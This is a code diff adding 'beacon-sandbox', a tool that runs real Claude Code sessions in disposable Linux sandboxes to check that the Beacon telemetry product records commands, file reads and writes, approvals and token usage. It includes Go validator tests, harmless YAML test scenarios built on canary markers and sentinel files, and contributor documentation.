+// path or assembling it from {{workdir}} walked straight past — leaving the same unfalsifiable
+// gate the guard exists to prevent. Cursor Bugbot flagged the gap.
+func TestSentinelGuardCatchesEverySpelling(t *testing.T) {
+ cases := map[string]string{
+ "placeholder": "cp fixture.txt {{sentinel}}",
+ "literal path": "cp fixture.txt /home/agent/work/planted.txt",
+ "workdir-relative": "cp fixture.txt {{workdir}}/planted.txt",
+ "redirect": "printf hi > /home/agent/work/planted.txt",
+ "touch": "touch /home/agent/work/planted.txt",
+ }
+ for name, setup := range cases {
+ sc := Scenario{
+ ID: "bad-" + name,
+ Prompt: "do a thing",
+ Sentinel: "/home/agent/work/planted.txt",
+ Setup: setup,
+ Expect: []Expect{{Action: "prompt.submitted", Why: "baseline"}},
+ }
+ err := sc.Validate()
+ if err == nil {
+ t.Errorf("%s: setup %q plants the sentinel and must be rejected", name, setup)
+ continue
+ }
+ if !strings.Contains(err.Error(), "regardless of what the agent does") {
+ t.Errorf("%s: error should explain the unfalsifiability, got: %v", name, err)
+ }
+ }
+}
+
+// Setup must still be free to build fixtures the agent acts on, or read-style scenarios become
+// unwritable. Only the sentinel itself is off limits.
+func TestSentinelGuardAllowsUnrelatedFixtures(t *testing.T) {
+ sc := Scenario{
+ ID: "ok",
+ Prompt: "read the fixture and write the answer to {{sentinel}}",
+ Sentinel: "/home/agent/work/answer.txt",
+ Setup: "printf 'line {{canary}}\\n' > /home/agent/work/fixture/notes.txt",
+ Expect: []Expect{{Action: "file.read", Why: "the point of the scenario"}},
+ }
+ if err := sc.Validate(); err != nil {
+ t.Errorf("an unrelated fixture must remain valid: %v", err)
+ }
+}
+
+// The basename check has to respect path boundaries. A bare substring test rejected valid setups:
+// a sentinel named out.txt matched a fixture called timeout.txt, so a legitimate scenario could
+// not be written at all. Cursor Bugbot caught the false positive.
+func TestSentinelBasenameMatchRespectsPathBoundaries(t *testing.T) {
+ valid := map[string]string{
+ "longer name": "printf hi > /home/agent/work/timeout.txt",
+ "different prefix": "printf hi > /home/agent/work/layout.txt",
+ "suffixed": "printf hi > /home/agent/work/out.txt.bak",
+ "embedded in a dir": "mkdir -p /home/agent/work/out.txt.d",
+ }
+ for name, setup := range valid {
+ sc := Scenario{
+ ID: "ok-" + name, Prompt: "write to {{sentinel}}",
+ Sentinel: "/home/agent/work/out.txt", Setup: setup,
+ Expect: []Expect{{Action: "file.modified", Why: "the point"}},
+ }
+ if err := sc.Validate(); err != nil {
+ t.Errorf("%s: setup %q does not plant out.txt and must be allowed: %v", name, setup, err)
+ }
+ }
+
+ // The real thing must still be caught, by any spelling.
+ planting := map[string]string{
+ "exact basename": "printf hi > /home/agent/work/out.txt",
+ "workdir form": "printf hi > {{workdir}}/out.txt",
+ "quoted": "cp fixture 'out.txt'",
+ }
+ for name, setup := range planting {
+ sc := Scenario{
+ ID: "bad-" + name, Prompt: "write to {{sentinel}}",
+ Sentinel: "/home/agent/work/out.txt", Setup: setup,
+ Expect: []Expect{{Action: "file.modified", Why: "the point"}},
+ }
+ if err := sc.Validate(); err == nil {
+ t.Errorf("%s: setup %q plants the sentinel and must be rejected", name, setup)
+ }
+ }
+}
diff --git a/beacon-sandbox/scenarios/s01-hello.yaml b/beacon-sandbox/scenarios/s01-hello.yaml
new file mode 100644
index 00000000..712f9353
--- /dev/null
+++ b/beacon-sandbox/scenarios/s01-hello.yaml
@@ -0,0 +1,31 @@
+id: s01-hello
+# Smallest possible session: no tools at all. Isolates the session/prompt/usage path so a
+# failure here means telemetry is fundamentally not flowing, rather than a specific tool
+# signal being unmapped.
+prompt: >-
+ Reply with exactly this word and nothing else: {{canary}}
+tools: []
+budget_usd: 0.5
+timeout_seconds: 240
+
+expect:
+ - action: prompt.submitted
+ contains: ["{{canary}}"]
+ fields: ["prompt.text", "session.id", "harness.name"]
+ why: >-
+ Prompt capture is the baseline signal. OTEL_LOG_USER_PROMPTS=1 is set by Beacon's
+ Claude configuration, so the full text should be retained subject to redaction.
+
+ - action: token.usage
+ fields: ["gen_ai.usage.input_tokens", "model", "session.id"]
+ why: >-
+ Token attribution is a headline feature. Beacon sets delta temporality but no explicit
+ OTEL_METRIC_EXPORT_INTERVAL, so this also tells us whether metrics flush before a short
+ session exits.
+
+ - action: cost.usage
+ fields: ["gen_ai.usage.cost_usd"]
+ optional: true
+ why: >-
+ Runtime-reported cost only. Optional because a subscription-token session may report
+ no cost, which is not a Beacon defect.
diff --git a/beacon-sandbox/scenarios/s02-bash-command.yaml b/beacon-sandbox/scenarios/s02-bash-command.yaml
new file mode 100644
index 00000000..ced6adf4
--- /dev/null
+++ b/beacon-sandbox/scenarios/s02-bash-command.yaml
@@ -0,0 +1,43 @@
+id: s02-bash-command
+# Exercises the command-capture path. The sentinel makes the verdict unambiguous: if the file
+# exists, the agent definitely ran the command, so an absent command event is a genuine Beacon
+# gap rather than an inactive model.
+#
+# History: this failed until Beacon v1.0.6. Claude Code reports the command inside a JSON
+# string attribute (tool_input) and the exporter only read flat attributes, so no
+# command.executed event was produced and e.command.command was always empty -- which silently
+# disabled every rules/risky-command/ rule for Claude Code. v1.0.6 added a Claude normalizer
+# and these expectations now hold.
+prompt: >-
+ Run exactly this shell command and then report its output verbatim:
+ echo {{canary}} | tee {{sentinel}}
+sentinel: /home/agent/work/s02.sentinel
+budget_usd: 1.0
+timeout_seconds: 300
+
+expect:
+ - action: prompt.submitted
+ contains: ["{{canary}}"]
+ why: Baseline, so a failure below is specific to command capture rather than everything.
+
+ - action: command.executed
+ contains: ["{{canary}}"]
+ fields: ["command.command", "tool.name"]
+ why: >-
+ Threat rules can only match scalar leaves, so e.command.command IS the detection surface
+ for the entire rules/risky-command/ category. If this is empty those rules cannot fire
+ for Claude Code no matter how correct their CEL is.
+
+ - action: command.executed
+ fields: ["command.duration_ms"]
+ why: >-
+ Claude Code sends duration_ms as a string, so this asserts it is coerced rather than
+ dropped. It was previously unreachable regardless, being read only inside the block that
+ never entered.
+
+ - action: approval.allowed
+ fields: ["approval.decision", "command.command"]
+ why: >-
+ Claude Code's tool_decision carries decision=accept. Before v1.0.6 the decision field was
+ populated but the action stayed tool.invoked, so anything filtering on an approval.*
+ action or category=approval missed Claude approvals entirely.
diff --git a/beacon-sandbox/scenarios/s03-file-write.yaml b/beacon-sandbox/scenarios/s03-file-write.yaml
new file mode 100644
index 00000000..91266d40
--- /dev/null
+++ b/beacon-sandbox/scenarios/s03-file-write.yaml
@@ -0,0 +1,27 @@
+id: s03-file-write
+# Exercises file-signal capture. file.path is the second scalar leaf threat rules depend on
+# (rules/sensitive-edit/ and rules/credential-access/ match on it), so its population matters
+# as much as command.command.
+#
+# Likely to fail for the same root cause as s02: Claude Code reports the path inside the
+# tool_input JSON string, and PopulateCommon only reads flat attributes. Verifying that
+# empirically is the point.
+prompt: >-
+ Use the Write tool to create the file {{sentinel}} containing exactly this single line:
+ {{canary}}
+sentinel: /home/agent/work/s03-written.txt
+budget_usd: 1.0
+timeout_seconds: 300
+
+expect:
+ - action: prompt.submitted
+ contains: ["{{canary}}"]
+ why: Baseline.
+
+ - action: file.modified
+ fields: ["file.path"]
+ min_count: 1
+ why: >-
+ rules/sensitive-edit/ matches on e.file.path. Note Beacon emits file.created for some
+ runtimes and file.modified for others; if this fails, check the histogram in the
+ verdict for which action actually appeared.
diff --git a/beacon-sandbox/scenarios/s04-file-read.yaml b/beacon-sandbox/scenarios/s04-file-read.yaml
new file mode 100644
index 00000000..293a8504
--- /dev/null
+++ b/beacon-sandbox/scenarios/s04-file-read.yaml
@@ -0,0 +1,32 @@
+id: s04-file-read
+# Exercises read-signal capture against a planted file whose contents are a canary. Two things
+# are under test: that the read is recorded with a path, and that reading a credential-shaped
+# file does not cause the secret itself to be retained verbatim.
+#
+# A read leaves no artifact of its own, which made the original sentinel wrong: setup copied the
+# fixture to the sentinel path before the session, so the file was present no matter what the
+# agent did. INCONCLUSIVE was unreachable and an idle agent would have been reported as a Beacon
+# capture failure. Cursor Bugbot flagged it, and scenario.Validate now rejects that shape.
+#
+# The sentinel is the agent's answer instead, and the fixture's last word is the canary -- so the
+# sentinel can only contain the canary if the agent actually read the file. That is stronger than
+# the original: it proves the read happened, not merely that a file exists.
+setup: >-
+ mkdir -p /home/agent/work/fixture &&
+ printf 'plain-fixture-line {{canary}}\n' > /home/agent/work/fixture/notes.txt
+sentinel: /home/agent/work/s04-answer.txt
+prompt: >-
+ Read the file /home/agent/work/fixture/notes.txt, then write just the last word of its only
+ line into the file {{sentinel}} and tell me what that word was.
+budget_usd: 1.0
+timeout_seconds: 300
+
+expect:
+ - action: prompt.submitted
+ why: Baseline.
+
+ - action: file.read
+ fields: ["file.path"]
+ why: >-
+ rules/credential-access/credential-file-read matches purely on e.file.path, so an
+ unpopulated path makes that whole category unreachable for Claude Code.
diff --git a/beacon-sandbox/scenarios/s05-repo-task.yaml b/beacon-sandbox/scenarios/s05-repo-task.yaml
new file mode 100644
index 00000000..8075a47d
--- /dev/null
+++ b/beacon-sandbox/scenarios/s05-repo-task.yaml
@@ -0,0 +1,50 @@
+id: s05-repo-task
+# The only scenario with realistic mixed activity rather than one isolated action: read,
+# then edit, then a git command, inside the seeded fixture repo. Two things are under test
+# that the single-action scenarios cannot reach -- repository/branch enrichment, and whether
+# a multi-step session produces a coherent event stream rather than a partial one.
+cwd: repo
+prompt: >-
+ In the current git repository: read README.md, append a new line containing exactly
+ {{canary}} to it, then run `git status --short` and tell me what changed.
+sentinel: /home/agent/work/repo/README.md
+budget_usd: 1.5
+timeout_seconds: 420
+
+expect:
+ - action: prompt.submitted
+ contains: ["{{canary}}"]
+ why: Baseline.
+
+ - action: token.usage
+ fields: ["gen_ai.usage.input_tokens"]
+ why: >-
+ A multi-turn session should produce several usage datapoints; this confirms attribution
+ survives more than one turn.
+
+ - action: file.read
+ fields: ["file.path"]
+ why: >-
+ Reading README.md must surface as file.read with a path. rules/credential-access/ matches
+ purely on e.file.path, so an empty path makes that category unreachable.
+
+ - action: file.modified
+ fields: ["file.path"]
+ why: Appending to README.md must surface as a file modification with a path.
+
+ - action: command.executed
+ fields: ["command.command"]
+ why: >-
+ The `git status` call must surface as a command with its text. Together with the two
+ above this proves a mixed multi-tool session is classified per tool rather than collapsed
+ into one generic action, which is what happened before v1.0.6.
+
+ - action: tool.invoked
+ fields: ["repository"]
+ optional: true
+ why: >-
+ Beacon enriches events with git repository and branch when it can detect them
+ (PopulateCommon reads vcs.repository.url / git.branch). Claude Code is not known to send
+ those attributes, so this is recorded rather than required -- it tells us whether repo
+ attribution is reachable on the OTel path at all, which matters for the dashboard's
+ by-repository rollup and token-usage's by_repository.
diff --git a/beacon-sandbox/scenarios/s06-subagent.yaml b/beacon-sandbox/scenarios/s06-subagent.yaml
new file mode 100644
index 00000000..d720551e
--- /dev/null
+++ b/beacon-sandbox/scenarios/s06-subagent.yaml
@@ -0,0 +1,35 @@
+id: s06-subagent
+# Subagent lifecycle. Beacon's Claude hook installer registers SubagentStart/SubagentStop
+# (internal/endpoint/hooks/claude.go), and the hook binary has subagent-start/subagent-stop
+# subcommands emitting subagent.started / subagent.stopped -- but this suite drives the OTel
+# path only, so the question is whether subagent activity is visible there at all.
+#
+# The sentinel is what the subagent is told to produce, so a missing event is distinguishable
+# from the model deciding to answer directly instead of delegating (which it often will).
+prompt: >-
+ Use the Task tool to launch a subagent whose job is to write the single line {{canary}}
+ into the file {{sentinel}}. Wait for it to finish, then confirm the file contents.
+sentinel: /home/agent/work/s06-subagent.txt
+budget_usd: 2.0
+timeout_seconds: 480
+
+expect:
+ - action: prompt.submitted
+ contains: ["{{canary}}"]
+ why: Baseline.
+
+ - action: subagent.started
+ optional: true
+ why: >-
+ Recorded rather than required. subagent.started is emitted by the hook path
+ (beacon-hooks subagent-start), and this suite configures only OTel, so absence here is
+ expected and tells us the OTel path carries no subagent lifecycle. If it ever appears,
+ Claude Code started exporting it. Making this required would just assert a known
+ architectural boundary.
+
+ - action: file.modified
+ fields: ["file.path"]
+ why: >-
+ Even though subagent lifecycle is invisible on the OTel path, the subagent's actual work
+ must still be captured. If this is absent, subagent tool activity is being dropped
+ entirely rather than merely unlabelled -- a materially worse gap.
diff --git a/beacon-sandbox/scenarios/s07-denied-tool.yaml b/beacon-sandbox/scenarios/s07-denied-tool.yaml
new file mode 100644
index 00000000..6987e897
--- /dev/null
+++ b/beacon-sandbox/scenarios/s07-denied-tool.yaml
@@ -0,0 +1,33 @@
+id: s07-denied-tool
+# Exercises the approval/permission path deterministically, without needing an interactive
+# prompt: --disallowedTools forces Claude Code to refuse the tool, which should surface as an
+# approval decision in telemetry.
+#
+# No sentinel, because the whole point is that the action must NOT happen. Instead the
+# expectations are on the approval signal itself, and prompt.submitted proves the session ran.
+prompt: >-
+ Run this shell command and report the result: echo {{canary}}
+disallowed_tools: ["Bash"]
+budget_usd: 0.75
+timeout_seconds: 300
+
+expect:
+ - action: prompt.submitted
+ contains: ["{{canary}}"]
+ why: Proves the session ran, since there is no sentinel to prove agent action here.
+
+ - action: approval.allowed
+ fields: ["approval.decision"]
+ why: >-
+ Approval decisions must be captured on an approval.* action with the decision populated.
+ Before v1.0.6 the decision existed but the action stayed tool.invoked, so anything
+ filtering on category=approval missed Claude approvals.
+
+ - action: approval.denied
+ optional: true
+ why: >-
+ Recorded rather than required. v1.0.6 fixed the approval *mapping*, so if this never
+ fires the question is whether Claude Code emits a deny decision at all when a tool is
+ excluded via --disallowedTools, versus simply never attempting the call. Observed
+ behavior so far is the latter: only approval.allowed events appear. Kept as a probe in
+ case Claude Code starts reporting refusals.
diff --git a/docs/contributing/beacon-sandbox.mdx b/docs/contributing/beacon-sandbox.mdx
new file mode 100644
index 00000000..d3cf7212
--- /dev/null
+++ b/docs/contributing/beacon-sandbox.mdx
@@ -0,0 +1,255 @@
+---
+title: "Verify Beacon In A Sandbox"
+description: "Run a real Claude Code session in a disposable Linux sandbox and confirm Beacon captured what happened"
+---
+
+## Overview
+
+`beacon-sandbox` verifies Beacon against real agent activity. It rents a disposable Linux sandbox, installs the Beacon build from your working tree, runs an actual Claude Code session inside it, and then checks whether Beacon's runtime log contains what the agent really did.
+
+It exists because unit tests cannot answer the question that matters most: when a live agent runs a command, does Beacon record it? That gap is not theoretical. This tool found a normalization defect that left `command.command` and `file.path` empty for every Claude Code session, which silently disabled an entire threat-rule category, and it then confirmed the fix.
+
+Testing an AI session is awkward because the agent does something slightly different every time, so there is no fixed expected output to compare against. Three cheap ideas replace one expensive oracle:
+
+- **A canary.** The prompt embeds a unique random marker, and the check asserts Beacon's log contains an event mentioning it. The match is exact because the sandbox chose the string.
+- **A sentinel.** The requested work also leaves a file behind, containing that canary. Only this run's agent could have put it there, so the file is proof the agent acted — mere existence is not, since a fixture could have created it.
+- **The agent's own result.** Some scenarios assert on prompt, token, cost and approval signals that leave no artifact at all, so there is no sentinel to check. For those, Claude Code's own success report is the evidence that there was anything to capture.
+
+Those last two are what make a verdict trustworthy. Without them, "Beacon dropped the event" and "the model declined the task" look identical.
+
+A fourth idea matters as much as the other three: **every check reports whether it could run, separately from what it found.** A probe that failed, a credential the process never held, a service listing that could not be read — each yields an explicit *unverified* warning rather than silence. Silence in this tool means verified-clean, never "we did not look."
+
+<Note>
+ This is contributor tooling, not part of Beacon's runtime. Beacon's endpoint and hook execution remain local-only with no network dependency; only this developer-facing sandbox reaches out, and only when you run it.
+</Note>
+
+## What It Can Verify
+
+Each scenario asserts specific fields, not merely that events arrived:
+
+| Area | What is asserted |
+|------|------------------|
+| Session and prompt | `prompt.submitted` with retained `prompt.text`, `session.id`, `harness.name` |
+| Commands | `command.executed` with `command.command` and `command.duration_ms` populated |
+| Files | `file.read` / `file.modified` with `file.path` populated |
+| Approvals | `approval.allowed` with `approval.decision` |
+| Tokens and cost | `gen_ai.usage` counts and runtime-reported `cost_usd` |
+| Schema conformance | every line parses and passes the shipped `Event.Validate()` |
+| Redaction | the injected credential appears nowhere in collected artifacts |
+| Host isolation | your own `~/.beacon`, `/opt/beacon`, and services are provably untouched |
+
+Field population matters more than event presence. Threat rules can only match scalar leaves such as `e.command.command` and `e.file.path`, so an event that arrives with an empty field leaves the corresponding rules unable to fire.
+
+## First-Time Setup
+
+Two external accounts are needed and cannot be automated away: a [Modal](https://modal.com/docs/guide/sandboxes) account, which provides the disposable Linux machines and includes free monthly credits, and an Anthropic API key with credit, because the sandbox runs a real agent session.
+
+<Steps>
+ <Step title="Authenticate with Modal">
+ Installs the CLI and stores credentials in `~/.modal.toml`. In CI, set `MODAL_TOKEN_ID` and `MODAL_TOKEN_SECRET` instead.
+ </Step>
+ <Step title="Supply an Anthropic credential">
+ Pick one of the three options below.
+ </Step>
+ <Step title="Run doctor">
+ It checks every remaining prerequisite and prints the exact command to fix anything missing. With `--fix` it downloads the collector binary for you.
+ </Step>
+</Steps>
+
+```bash title="First-time setup"
+pip install modal && modal token new
+export ANTHROPIC_API_KEY=sk-ant-...
+cd beacon-sandbox
+go run ./cmd/beacon-sandbox doctor --fix
+```
+
+<Accordion title="Sample output">
+On a fresh checkout, the two build artifacts are absent and `doctor` names the exact fix for each. It exits non-zero, so a script or agent can branch on it:
+
+```text
+ok go go version go1.26.4 darwin/arm64
+ok modal_auth authenticated
+ok anthropic_credential ANTHROPIC_API_KEY environment variable
+FAIL beacon_binary missing ~/agent-beacon/cli/beacon/beacon-linux-amd64
+ fix: cd cli/beacon && make build-linux-amd64
+FAIL collector_binary missing ~/agent-beacon/collector-builder/dist/beacon-otelcol/linux_amd64/beacon-otelcol
+ fix: beacon-sandbox doctor --fix (downloads it from the latest release)
+ok collector_freshness collector matches the exporter sources in this tree
+
+not ready — resolve the FAIL items above, then rerun doctor
+```
+
+After the build and `--fix`:
+
+```text
+ collector not found; downloading beacon-otelcol from release v1.0.6
+ collector ready at ~/agent-beacon/collector-builder/dist/beacon-otelcol/linux_amd64/beacon-otelcol
+...
+ready. next: go run ./cmd/beacon-sandbox run --scenario s02-bash-command
+```
+</Accordion>
+
+`doctor --json` emits the same results as `{"checks": [...], "ready": true}`, for use by scripts and coding agents.
+
+<Note>
+ `--fix` verifies what it downloads. The collector tarball is hashed and compared against the release's own `checksums.txt` before anything is extracted, and a release publishing no `checksums.txt` is refused rather than trusted. That binary is executed inside the sandbox, so an unauthenticated download would make a compromised proxy or mirror enough to run arbitrary code.
+</Note>
+
+### Supplying The Anthropic Credential
+
+Three options, in the order the tool resolves them:
+
+| Option | How | Trade-off |
+|--------|-----|-----------|
+| `--modal-secret NAME` | `modal secret create NAME ANTHROPIC_API_KEY=sk-ant-...` | Most secure: the value never touches local disk, your environment, or the sandbox process. But the artifact leak check has no value to search for, so it reports **unverified** rather than clean. |
+| `--api-key-command CMD` | e.g. `--api-key-command 'op read op://vault/anthropic/key'` | Keeps the key out of your environment and shell history. Leak check stays active. |
+| `ANTHROPIC_API_KEY` | `export ANTHROPIC_API_KEY=sk-ant-...` | Simplest. Leak check stays active. |
+
+<Warning>
+ The most secure option is also the least verifiable. Because a Modal-stored secret never reaches the sandbox process, the collected-artifact leak check cannot run and reports `unverified` instead of `clean`. That is the correct failure mode — an unproven check must never read as a passed one — but it is a deliberate trade-off worth choosing consciously.
+</Warning>
+
+## Running It
+
+```bash title="Verify a change"
+cd cli/beacon && make build-linux-amd64
+cd ../../beacon-sandbox
+go run ./cmd/beacon-sandbox run --scenario s02-bash-command # one scenario, ~3 min
+go run ./cmd/beacon-sandbox run # the whole suite: 7 scenarios, ~20 min
+```
+
+`run` with no `--scenario` is the full-suite command. Use a single scenario while iterating and the
+suite before opening a pull request.
+
+| Command | Purpose |
+|---------|---------|
+| `doctor [--fix] [--json]` | Check prerequisites; resolve the collector |
+| `run [--scenario ID] [--repeat N] [--keep-sandbox]` | Capture a session and judge it |
+| `verify <run-dir> [--mutate MODE]` | Re-judge collected artifacts offline, free |
+| `diff <before> <after>` | Compare capability fingerprints across runs |
+| `clean` | Remove local run artifacts |
+
+**`verify` is the loop to iterate in.** It is a pure function of what is on disk: no sandbox, no model, no cost. Capture a session once, then re-check it as many times as you like while adjusting what counts as correct.
+
+A run costs roughly $0.06 of sandbox time plus a few cents of API usage, so the Anthropic spend dominates. Each scenario caps itself with a per-scenario budget.
+
+<Warning>
+ If your change touches `collector-builder/`, rebuild the collector before running. Telemetry normalization compiles into `beacon-otelcol`, not the `beacon` CLI, so verifying an exporter change against a downloaded collector produces a passing run that proves nothing.
+</Warning>
+
+`doctor`'s `collector_freshness` check covers three ways the binary can be wrong, not just one: uncommitted changes under `collector-builder/`; a downloaded release binary with exporter changes committed since that release; and a locally built binary older than its own sources. A release tag the local clone cannot resolve is reported as unknowable rather than assumed fresh — run `git fetch --tags`, or rebuild. Rebuilding locally clears the warning, since provenance is tied to the binary actually on disk.
+
+## Reading A Verdict
+
+This is the real verdict that exposed the pre-v1.0.6 normalization defect:
+
+```text title="Sample verdict"
+FAIL s02-bash-command
+ 20 events captured
+ actions: token.usage=8 tool.invoked=7 cost.usage=2 metric.observed=2 prompt.submitted=1
+ harness names: claude_code=20
+ [INFO] sentinel.agent_acted: confirmed: BEACON_SANDBOX_465969b932c3
+ why: a missing expectation below is therefore a genuine capture gap, not an
+ inactive agent
+ [FAIL] expect[1].command.executed: no event with action "command.executed" was captured
+ why: Threat rules can only match scalar leaves, so e.command.command IS the
+ detection surface for the entire rules/risky-command/ category. If this is
+ empty those rules cannot fire for Claude Code no matter how correct their
+ CEL is.
+```
+
+Read it in order. The sentinel confirmed the agent really ran the command, so the missing `command.executed` is a capture gap rather than an idle model. The histogram then says where the event went: seven `tool.invoked` and no `command.executed` at all, which is a misclassification, not a dropped event.
+
+Three outcomes:
+
+- **PASS** — Beacon captured what the scenario planted. Exit code 0.
+- **FAIL** — an expectation was not met, or an invariant or safety check failed, with the exact field and evidence line. Exit code 1.
+- **INCONCLUSIVE** — the agent never performed the requested work, so retry. Not a capture failure. **Exit code 1 when nothing else passed**, because "nothing was verified" must not read as success to a script.
+
+A fail-severity finding always wins, including over `INCONCLUSIVE`. Invariants and safety checks do not depend on the agent having done the work, so an idle agent is no reason to stop reporting a leaked credential or a corrupt line.
+
+Alongside those, findings carry a severity. **A `WARN` means a check could not run**, not that it passed:
+
+| Warning | Meaning |
+|---------|---------|
+| `sentinel ... could not be read` | The guest probe failed, so whether the agent acted is unknown. Expectations are judged *without* that excuse. |
+| `the agent's own result could not be read` | Same, for a sentinel-less scenario. |
+| `cannot check for ANTHROPIC_API_KEY` | The leak check had no value to search for — a provider secret, or a key that does not match the one the run used. |
+| `the argv scan did not run` | Credential handling is unverified for that run. |
+| `service probe could not run` | Files were unchanged, but the service half of the host guard is unverified. |
+
+None of these fail a run. All of them mean *do not read this as clean*.
+
+Every run writes four files beside the collected `runtime.jsonl`: `verdict.json`, `fingerprint.json`, `meta.json`, and `claude-result.json`. Re-judging with `verify` refreshes the first two together, so they never disagree.
+
+A `FAIL` is not automatically a Beacon defect. Scenarios encode what Beacon *should* do, so when behavior legitimately improves an old assertion can become wrong — three scenarios had to be rewritten after v1.0.6, because they asserted `tool.invoked` precisely *because* that was the broken classification. Read the failing expectation's `why` against the verdict's action histogram before concluding anything.
+
+## Writing A Scenario
+
+```yaml title="beacon-sandbox/scenarios/s02-bash-command.yaml"
+id: s02-bash-command
+prompt: >-
+ Run exactly this shell command and report its output: echo {{canary}} | tee {{sentinel}}
+sentinel: /home/agent/work/s02.sentinel
+budget_usd: 1.0
+expect:
+ - action: command.executed
+ contains: ["{{canary}}"]
+ fields: ["command.command", "tool.name"]
+ why: >-
+ Threat rules match scalar leaves, so e.command.command IS the detection surface for the
+ entire rules/risky-command/ category.
+```
+
+`{{canary}}` is a unique per-run marker; `{{sentinel}}` and `{{workdir}}` expand too. Every expectation requires a `why`, because a failure that cannot explain what it protected is not actionable — a test enforces this. Use `optional: true` to record a known gap without failing the run.
+
+Validate scenario edits without spending anything: `go test ./scenario/`.
+
+## Trusting The Checks
+
+A check that cannot fail is worse than no check, because it converts "we did not look" into "we verified". The checks are therefore tested against deliberately damaged logs: a dropped command event must fail exactly that expectation, a corrupted line must trip the parse invariant, a planted credential must trip the leak check, an absent sentinel must yield `INCONCLUSIVE` rather than `FAIL`, and an unavailable credential must report *unverified* rather than clean.
+
+```bash title="Self-test the checks"
+go test ./...
+go run ./cmd/beacon-sandbox verify --mutate corrupt-line runs/<run-dir>/
+```
+
+The mutation must turn a `PASS` into a `FAIL`. Available modes: `corrupt-line`, `drop-commands`, `drop-action:<action>`, `plant-secret`.
+
+Every mutation refuses to be a no-op — an empty log, or an action the log does not contain, is an error rather than a passing self-test that proved nothing.
+
+<Warning>
+ `plant-secret` only works on a run captured with the `ANTHROPIC_API_KEY` currently set. It plants that key and expects the leak check to find it, but the leak check is withheld when the value is not the one the run used — a provider secret, a rotated key, or a run recorded before credential fingerprints existed. Rather than report a passing self-test that exercised nothing, it refuses and names the modes that do work on that run.
+</Warning>
+
+Two Beacon behaviors the matcher models deliberately, because ignoring either produces false failures: identical events written within a **two-second window** are collapsed by duplicate suppression, so a repeated command yields one event; and token totals must come from `beacon token-usage --json` rather than summing the raw JSONL, because overlapping-channel deduplication zeroes metric-channel usage when the log channel already reported it.
+
+## Limitations
+
+<Warning>
+ Modal sandboxes are Linux-only, so this **cannot verify the macOS build at all** — launchd, the signed `.pkg`, and notarization are entirely outside its reach.
+</Warning>
+
+- **Scope of what is verified.** Because Beacon's persistent `endpoint install` is macOS-only today, what this exercises is the `beacon ci exec` collector path. That is a genuine shipping path — it is how Beacon collects in GitHub Actions and cloud agent sandboxes — but it is narrower than "verifies Beacon".
+- **Presence, not completeness.** Marker checks prove the planted thing was captured. They cannot tell you Beacon captured four of seven tool calls, because they never learn there were seven.
+- **amd64 only.** Modal exposes no architecture selection, so Linux arm64 is not covered.
+- **Real cost and real time.** Each scenario spends money and takes minutes.
+- **Irreducible flakiness.** Telemetry arrives asynchronously, so "hasn't arrived yet" and "never coming" are separated only by a timeout. The runner waits for the log to go quiet rather than sleeping a fixed amount, and `--repeat` distinguishes flaky from broken.
+- **Agent version drift.** Claude Code's behavior can change between releases, so the version is pinned in the sandbox image; bumping it is a deliberate act.
+
+## Related
+
+<Columns cols={2}>
+ <Card title="Validate Endpoint Telemetry" icon="flask-vial" href="/guides/local-testing/endpoint-validation">
+ Validate a Beacon install on your own machine, rather than verifying Beacon itself.
+ </Card>
+ <Card title="beacon ci exec" icon="terminal" href="/cli/ci-exec">
+ The ephemeral collector path this sandbox exercises.
+ </Card>
+ <Card title="Endpoint event schema" icon="table" href="/telemetry-schema/event-schema">
+ The fields scenarios assert against.
+ </Card>
+ <Card title="Detections engine" icon="magnifying-glass" href="/detections/engine">
+ Why field population determines whether threat rules can match.
+ </Card>
+</Columns>
diff --git a/docs/docs.json b/docs/docs.json
index 40b99a9a..d8d7a9e9 100644
--- a/docs/docs.json
+++ b/docs/docs.json
@@ -266,6 +266,14 @@
]
}
]
+ },
+ {
+ "group": "Contributing",
+ "icon": "code-branch",
+ "pages": [
+ "contributing/beacon-sandbox",
+ "contributing/development"
+ ]
}
]
},
@@ -1308,6 +1316,10 @@
{
"source": "/use-cases",
"destination": "/guides/use-cases"
+ },
+ {
+ "source": "/beacon-sandbox",
+ "destination": "/contributing/beacon-sandbox"
}
],
"footer": {